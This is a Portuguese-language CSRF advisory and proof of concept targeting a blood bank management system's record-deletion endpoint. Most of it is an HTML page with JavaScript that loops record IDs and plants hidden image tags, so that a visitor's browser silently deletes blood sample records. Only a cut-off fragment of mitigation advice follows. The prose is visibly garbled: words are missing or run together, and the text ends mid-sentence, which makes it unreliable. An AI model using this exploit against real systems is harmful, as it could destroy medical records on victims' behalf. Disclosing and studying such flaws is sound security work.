
Prova de Conceito de Ataque CSRF em Banco de Sangue
/file/delete.php?bid=Uma vulnerabilidade de Cross Site Request Forgery (CSRF) foi descoberta na funcionalidade de solicitação de sangue do Sistema de Gerenciamento de Banco de Sangue. Essa falha ocorre ao enviar uma requisição delete para este caminho /file/delete.php?bid=, permitindo que o parâmetro selecione um registro para exclusão na aplicação. Os , no entanto, são dinâmicos, dependendo da adição das amostras de sangue; para tornar a requisição bem‑sucedida, utilizei uma tag de imagem gerada por JavaScript dentro de um loop.
bidbidsA exploração bem‑sucedida pode levar a ações não autorizadas, como exclusão de dados em nome da vítima. Além disso, isso pode ser explorado ao visitar sites maliciosos com a carga útil.
Abaixo está um exemplo de um Ataque PoC CSRF que exclui as amostras de sangue disponíveis por meio do parâmetro bid. Hospede o arquivo em um domínio controlado pelo atacante; no meu caso, estava usando localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
tokens csrf em suas requisições e também evite que requisições GET realizem ações que alterem o estado.